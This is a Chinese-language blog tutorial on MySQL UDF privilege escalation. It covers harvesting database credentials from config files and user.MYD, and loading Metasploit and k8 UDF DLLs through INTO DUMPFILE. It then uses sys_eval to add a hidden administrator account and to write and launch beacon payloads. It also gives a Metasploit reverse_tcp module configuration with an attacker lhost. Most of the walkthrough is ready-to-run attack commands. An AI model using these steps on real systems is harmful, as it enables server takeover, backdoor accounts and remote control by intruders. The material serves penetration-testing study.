MySQL 提权
总述
本文讲解了 MySQL 如何实现权限提升的相关方法。
神
1. UDF 提权
UDF 提权
📖 MySQL UDF 提权原理
1. 什么是 UDF?
- UDF (User Defined Function, 用户自定义函数) 是 MySQL 提供的一种扩展机制。
- 原理:开发者可以用 C 或 C++ 写一个函数,编译成动态链接库(Windows 下是
.dll,Linux 下是.so),然后通过CREATE FUNCTION语句把它注册到 MySQL 里。 - 这样,之后就能像调用内置函数一样调用这个函数。
- 官方本意:方便用户扩展 MySQL 的功能,比如实现一些复杂的计算函数。
2. MySQL 是如何加载 UDF 的?
-
当你执行:
CREATE FUNCTION 函数名 RETURNS STRING SONAME 'xxx.so';MySQL 会到 插件目录 (
plugin_dir) 中,加载指定的.so / .dll文件。 -
这些函数一旦注册,就会写入系统表
mysql.func,以后一直存在,直到被显式删除。
我们编写的恶意 动态链接库文件(.dll/.so) 必须放置在 MySQL 当中规定好的 plugin_dir 文件夹下,才可被加载。
可通过这两个命令进行查询:
select @@plugin_dir;
show variables like '%plugin%';
3. UDF 利用条件
MySQL UDF 机制原本是良性功能,但在以下条件下会被滥用:
-
MySQL 账户权限过高:
- 如果攻击者获得了一个有
CREATE FUNCTION或SUPER权限的数据库账户,他就能创建 UDF。 - 某些时候 root@localhost 的数据库账户密码被拿到,或者配置了弱口令,就可能被攻击。
- 如果攻击者获得了一个有
-
文件写入能力:
- MySQL 需要能把
.dll/.so文件放到plugin_dir里。 - 如果数据库运行账户(如
mysql用户)拥有对该目录的写权限,攻击者可以上传恶意的动态库。
- MySQL 需要能把
-
恶意 UDF 文件:
- 攻击者编写一个包含系统调用的动态库函数,例如调用
system()或exec()来执行任意系统命令。 - 然后通过 SQL 调用这个 UDF,就能从数据库直接控制底层操作系统。
- 攻击者编写一个包含系统调用的动态库函数,例如调用
1. 拥有数据库账号密码,可以连接数据库。
2. 拥有 Webshell 或 其他方式的权限,确保我们可以连接数据库。(MySQL 默认是不支持远程连接的,仅支持本地连接,可修改且需要修改后,才可以支持远程连接。)
3. 能够写文件。
将我们的 恶意动态链接库文件 .dll / .so 文件存放到 MySQL 指定的 plugin_dir 文件夹下。
(拥有 into outfile 权限 和 全局属性 secure_file_priv 的值为空)
(可以写我们的 恶意 dll 文件、beacon payload)
4. 可以操作数据库(可以执行数据库的相关命令)
如何获取数据库账号密码
1. 找数据库配置文件
2. 通过Webshell对数据库进行本地爆破(因为 MySQL 可能默认配置的不允许远程连接。)
3. 通过本地文件找到 MySQL 当中存储的 User 凭据相关的表,通过文件获取账户凭据。
将 MySQL 存储用户凭据的表通过 010 Editor 编辑器打开,获取 16进制 转换后的 Hash 密码。
1)数据库配置文件
数据库账号密码主要存在的位置
网站根目录/config.php
网站根目录/application/config/database.php
网站根目录/.env
$db_host = "127.0.0.1";
$db_user = "root";
$db_pass = "123456";
$db_name = "test";
2)本地密码爆破



3)MySQL 凭据文件
MYSQL数据库文件共有 frm、MYD 和 MYI 三种文件:
.frm:存储表结构的文件。
.MYD:存储表数据的文件。
.MYI:存储索引数据的文件。
与用户有关的一共有三个文件即 user.frm、user.MYD 和 user.MYI
用户密码信息通常存储在 user.MYD 文件中,包括 root 用户和其他用户的密码。


📌 MySQL 保存用户凭据的地方
MySQL 用户凭据存放在 mysql 系统数据库里,而不是普通表。
具体来说,是 mysql.user 表。
mysql.user - mysql 数据库 user 表
SELECT Host, User, Password, plugin, authentication_string FROM mysql.user;

4. 提权的过程(逻辑)
-
上传恶意动态库
- 攻击者通过 SQL(
SELECT ... INTO DUMPFILE)或其他方式,把自制的.dll/.so写入 MySQL 的插件目录。
- 攻击者通过 SQL(
-
注册恶意函数
-
在数据库里执行:
CREATE FUNCTION do_system RETURNS integer SONAME 'evil.so'; -
这会在 MySQL 中注册一个新函数
do_system(),它的底层实现就是动态库里的函数。
-
-
调用恶意函数
-
攻击者执行:
SELECT do_system('whoami'); -
这时就会调用底层的系统命令,返回执行结果。
-
-
实现系统级控制
- 在 Windows 下甚至可以创建用户、开启远程桌面服务;
- 在 Linux 下可以执行任意 shell 命令。
- 因为 MySQL 服务进程通常以较高权限运行(甚至是
root),这就相当于拿到了系统权限。
5. 为什么叫“提权”?
- 很多情况下,攻击者一开始只能拿到 数据库账户(权限仅限 MySQL 内部)。
- 但是通过 UDF,他能从数据库跳到操作系统权限(root / SYSTEM)。
- 如果 MySQL 服务是 root 权限运行,那么攻击者直接获取 系统最高权限。
- 所以这个过程就被称为 UDF 提权。
恶意 udf.dll 解析
A. lib_mysqludf_sys_32.dll
我们这里用到的 lib_mysqludf_sys_32.dll ,是 Metasploit framework 当中内置的,可以在 /usr/share/metasploit-framework/data/exploits/mysql/ 这个目录下选择对应操作系统和架构的 UDF 文件。
解析 dll 当中实现的相关 函数
通过 PE-Bear 可以查看 dll 文件当中所编写的相关信息,包括实现的相关程式函数。

1) sys_exec
该函数将在“系统”函数内传递参数args-> args [0]。你可以使用它在目标机器上执行系统命令。
但是 exec 是不回显命令执行结果的,如我们所知的。
# 创建
create function sys_exec returns int soname 'msf_udf.dll';
# 验证
select sys_exec('whoami')
select * from mysql.func where name = 'sys_exec';
# 删除
drop function sys_exec;



2) sys_eval
该函数将执行系统命令并在屏幕上通过标准输出显示。
其实总体来说与 sys_exec 实现的函数功能是一样的 - 都是 系统命令执行,只是 sys_eval 支持命令执行后回显。
# 创建
create function sys_eval returns string soname 'msf_udf.dll';
# 验证
select * from mysql.func where name = 'sys_eval';
# 使用
select sys_eval('dir');
select sys_eval('whoami');
# 删除
drop function sys_eval;




3) sys_get
该函数使用getenv函数返回系统变量的值。
相当于我们 cmd 窗口当中的 set 命令。
# 创建
create function sys_get returns string soname 'msf_udf.dll';
# 验证
select * from mysql.func where name = 'sys_get';
# 使用
select sys_get('longonserver');
# 删除
drop function sys_get;




4) sys_bineval
暂时还没玩懂。
该函数将使用VirtualAlloc API分配RWX内存,并使用strcpy将args-> args [0]复制到新分配的内存中。然后,这个缓冲区被传递给CreateThread API来产生一个新的线程。
# 创建
create function sys_bineval returns int soname 'msf_udf.dll';
# 验证
select * from mysql.func where name = 'sys_bineval';
# 使用
select sys_bineval(load_file('C:\\calc.b64'));
select sys_bineval(from_base64(load_file('C:\\calc.b64')));
# 删除
drop function sys_bineval;


...
更多的函数在此先暂时省略了。
B. k8-udf.dll
项目地址:
https://github.com/ym2011/POC-EXP/tree/master/K8/Mysql%E6%8F%90%E6%9D%83
注意:
k8-udf.dll 的 16 进制数据比较大,为 66 kb,而 blob 格式最多只能容纳 64kb 数据,因此如果要使用 k8-udf.dll 就必须使用 longblob 的数据格式。


dll 当中的函数

cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 关于 - 展示 k8udf.dll 当中的所有函数 及 用法。
创建函数
create function 函数名(区分大小写) returns string soname "dll名" (注意路径);
create function about returns string soname "udf.dll"


验证函数载入成功
select * from mysql.func where name="函数名";

获取参数信息
select 函数名("help")

使用函数
select 函数名(参数列表);

删除函数
delete function 函数名;


MSF 模块一键上线(udf.dll)
模块功能:自动上传 lib_mysqludf_sys.dll 文件
use exploit/multi/mysql/mysql_udf_payload
set payload windows/shell/reverse_tcp
set rhosts 10.10.10.30
set rport 3306
set username root
set password root
set lhost 120.55.169.128
run



实机演示
前情提要
1、Webshell 上线主机

2、本地资产测绘
3306,存在 MySQL 服务,尝试获取本机 MySQL 数据库权限。

3、尝试获取数据库权限
1)数据库配置文件
本次 PHPStudy 搭建当中
网站根目录/config.php
网站根目录/application/config/database.php
网站根目录/.env
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";

2)本地密码爆破



3)MySQL 凭据文件


4、登录数据库(Webshell 本地登录)



UDF 提权
0、相关所有操作命令的语句模板
1、确定操作系统和架构
select @@version_compile_os, @@version_compile_machine;
OR
show variables like '%compile%';


2、查看MySQL安装路径和版本
安装路径
show variables like '%char%';
select @@datadir;


版本
select version();

3、查看plugin目录路径
select @@plugin_dir;
show variables like '%plugin%';


4、查看是否有写权限
show global variables like '%secure%';
关于secure-file-priv
MySQL 进行文件导入导出操作时默认会出现如下错误:
mysql> select * from news INTO OUTFILE 'D:/news.log';
1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
其中有一个 --secure-file-priv 参数选项
mysql 的 secure_file_priv 参数
secure-file-priv 参数是用来限制 LOAD DATA, SELECT … INTO OUTFILE , and LOAD_FILE()传
到哪个指定目录的。
当 secure-file-priv 的值为 NULL ,表示限制 mysqld 不允许导入、导出
当 secure-file-priv 的值为 /tmp/,表示限制 mysqld 的导入、导出只能发生在/tmp/目录下
当 secure-file-priv 的值没有具体值时,表示不对 mysqld 的导入、导出做限制
此开关默认为NULL,即不允许导入导出。
如何设置 secure_file_priv 参数:
Windows: 修改 my.ini 在[mysqld]内加入secure_file_priv=,重启mysql
Linux:修改 my.cnf 在[mysqld]内加入secure_file_priv=,重启mysql
① 如果此处为 “ ” 空,则说明对 “写权限” 没有任何限制
② 如果此处为 “一段具体的路径”,说明限定了 “写权限”的路径
③ 如果此处为 “null” 则说明没有 “写权限”
②、③ 情况基本上也都均可放弃,
② 情况如果 “可写的路径” 与 “plugin 安装路径”相同,则可利用
修改上面的这几种情况的 “写权限”需要修改配置文件,低权限无法修改
高权限那就不需要用 UDF 提权了,其他的提权方法很多,UDF 也可以

测试写权限
# 必须双写 \\
select '111' into dumpfile 'C:\1.txt';
select '222' into outfile 'C:\\temp\\1.txt';
outfile函数:可以导出多行数据
dumpfile函数:只能导出一行数据
outfile函数:在将数据写到文件里时有特殊的格式转换
dumpfile函数:在将数据写到文件里时保持源数据格式


5、创建临时表
在此之前也可以单独创一个临时数据库,都可以看个人选择而已不影响。
create database udftemp;
use udftemp;
create table udftemp(data BLOB);
OR
create table udftemp(data longblob);
尝试创建一个名为 udftemp 的表和一个名为 data 的列,列的数据类型是 BLOB。
BLOB 全称为 Binary Large Objects,通常用于存储大型二进制对象
推荐用 longblob,避免 文件大于 64kb 但由于 blob 最大仅支持 64kb 造成执行失败。



6、将dll内容转为十六进制
推荐 “方法 1”,最方便。
方法一:cyberchef
方法 1:cyberchef
https://gchq.github.io/CyberChef/#recipe=To_Hex('None',0)

方法二:MySQL - hex 函数
方法 2:在本地自己的数据库中通过 MySQL 的 hex 函数将 dll 文件二进制数据转为十六进制数
据,并保存到 udf.txt 文件中
select hex(load_file('C:\\udf.dll')) into dumpfile 'C:\\udf.txt';
先将 udf.dll 上传到目标服务器,然后再执行:
select hex(load_file('C:\\udf.dll')) into dumpfile 'C:\\udf.txt';
让 MySQL 读取然后再创建一个 txt 文本文件保存记录 dll 文件的 16进制 值。




方法三:010 Editor、Sublime 查看 十六进制
方法 3:也可以使用类似 010 editor 的十六进制编辑器获得十六进制数据。
注意:
这样的方法三还要把 “ ” 和 “\n” 给替换为空的。



7、将dll文件内容插入表中
# 将udf.dll二进制数据插入临时表 udftemp 中
insert into udftemp(data) values (0x+dll文件的十六进制值);
insert into udftemp(data) values (0x4d5a9000030000000400...);

select data from udftemp

上传了多个 data

# 查询第一个
select data from udftemp limit 0,1

# 查询第二个
select data from udftemp limit 1,1

接下来的导入:
# 导入第一个
select data from udftemp limit 0,1 into dumpfile"C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\msf_udf.dll";
# 导入第二个
select data from udftemp limit 1,1 into dumpfile"C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\msf_udf.dll";
8、将dll导出到plugin目录
# 将 udf.dll 导出到 MySQL 安装目录下的 lib/plugin/udf.dll 文件中
select data from udftemp into dumpfile"C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\msf_udf.dll";



上传了多个 data
# 导入第一个
select data from udftemp limit 0,1 into dumpfile"C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\msf_udf.dll";
# 导入第二个
select data from udftemp limit 1,1 into dumpfile"C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\msf_udf.dll";
9、创建函数
创建之前我们先验证一下当前的函数是不存在的

创建函数
# 创建函数!相关代码从 msf_udf.dll 动态链接库当中加载!
create function sys_eval returns string soname 'msf_udf.dll';

验证函数(使用)
select sys_eval('whoami');

删除函数
drop function sys_eval


10、查看创建的所有函数
select * from mysql.func;

11、执行恶意的系统命令
添加管理员用户
select sys_eval('net user udftest 1qaz@WSX /add & net localgroup administrators udftest /add');
select sys_eval('net localgroup administrators')



删除用户
select sys_eval('net user udftest /del');

查看系统用户
select sys_eval("net user");

删除创建的函数
drop function sys_eval
drop function if exists sys_eval;
12、上线 MSF、CS
QXY. 相关所有操作命令的语句模板
A. 创建一张存 payload 的表
在此之前也可以单独创一个临时数据库,都可以看个人选择而已不影响。
create database udftemp;
use udftemp;
create table payloadtemp(data BLOB);
OR
create table payloadtemp(data longblob);
尝试创建一个名为 udftemp 的表和一个名为 data 的列,列的数据类型是 BLOB。
BLOB 全称为 Binary Large Objects,通常用于存储大型二进制对象
推荐用 longblob,避免 文件大于 64kb 但由于 blob 最大仅支持 64kb 造成执行失败。



B. 查看创建的表
show tables;

C. 转换 payload.exe 二进制内容为十六进制
一样的三种方法。
推荐 “方法 1”,最方便。
方法 1:cyberchef
https://gchq.github.io/CyberChef/#recipe=To_Hex('None',0)

方法 2:在本地自己的数据库中通过 MySQL 的 hex 函数将 dll 文件二进制数据转为十六进制数
据,并保存到 udf.txt 文件中
select hex(load_file('C:\\qiaoshen.exe')) into dumpfile 'C:\\qiaoshen.txt';
select hex(load_file('C:\\SqlServer.exe')) into dumpfile 'C:\\SqlServer.txt';
先将 udf.dll 上传到目标服务器,然后再执行:
select hex(load_file('C:\\qiaoshen.dll')) into dumpfile 'C:\\qiaoshen.txt';
select hex(load_file('C:\\SqlServer.exe')) into dumpfile 'C:\\SqlServer.txt';
让 MySQL 读取然后再创建一个 txt 文本文件保存记录 dll 文件的 16进制 值。



文件太大不支持预览,双击直接要求下载了。

方法 3:也可以使用类似 010 editor 的十六进制编辑器获得十六进制数据。
注意:
这样的方法三还要把 “ ” 和 “\n” 给替换为空的。


D. 将beacon文件的16进制内容写入beacon表
# 写入 qiaoshen.exe 的 十六进制 值。
insert into udftemp.payloadtemp(data) values (0x4d5a90000300000004000000ffff...);
# 写入 SqlServer.exe 的 十六进制 值。
insert into udftemp.payloadtemp(data) values (0x4d5a90000300000004000000ffff...);




E. 向目标系统写入 payload 文件
select data from udftemp.payloadtemp limit 0,1 into dumpfile "C:\\qiaoshen.exe";


select data from udftemp.payloadtemp limit 1,1 into dumpfile "C:\\SqlServer.exe";


F. 利用创建的命令执行函数执行 payload
# 必须要有 select
select sys_eval("start C:\qiaoshen.exe")


# 必须要有 select
select sys_eval(start C:\SqlServer.exe)

本文链接:
/archives/mysql-ti-quan
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
QiaoShen-World!
喜欢就支持一下吧